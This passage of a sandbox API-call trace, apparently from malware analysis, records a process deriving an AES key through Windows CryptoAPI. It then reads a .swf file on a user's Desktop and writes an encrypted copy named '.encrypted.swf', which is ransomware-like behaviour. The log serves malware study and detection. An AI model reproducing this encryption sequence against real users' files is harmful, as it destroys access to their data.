(in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.424] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.425] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.425] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.425] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.425] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0022.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.427] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\2qhnnllstx60xk.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.427] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.427] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.427] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.427] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\2qhnnllstx60xk.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.429] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.429] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xf62e, lpOverlapped=0x0) returned 1 [0022.431] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.433] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.434] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.434] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.434] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.434] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.435] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.435] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064bd0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bd0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.436] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.436] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.436] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.436] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.436] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.436] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.436] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf62e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf630) returned 1 [0022.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.437] CharLowerBuffW (in: lpsz="byte[63025]", cchLength=0xb | out: lpsz="byte[63025]") returned 0xb [0022.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.438] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.438] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41eec90*, pdwDataLen=0xe8f3dfdf68*=0xf62e, dwBufLen=0xf630 | out: pbData=0xe8f41eec90*, pdwDataLen=0xe8f3dfdf68*=0xf630) returned 1 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.438] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.438] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.438] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.445] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.445] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.445] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.445] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.445] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.445] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.445] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.445] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0022.445] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.445] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.446] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.446] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 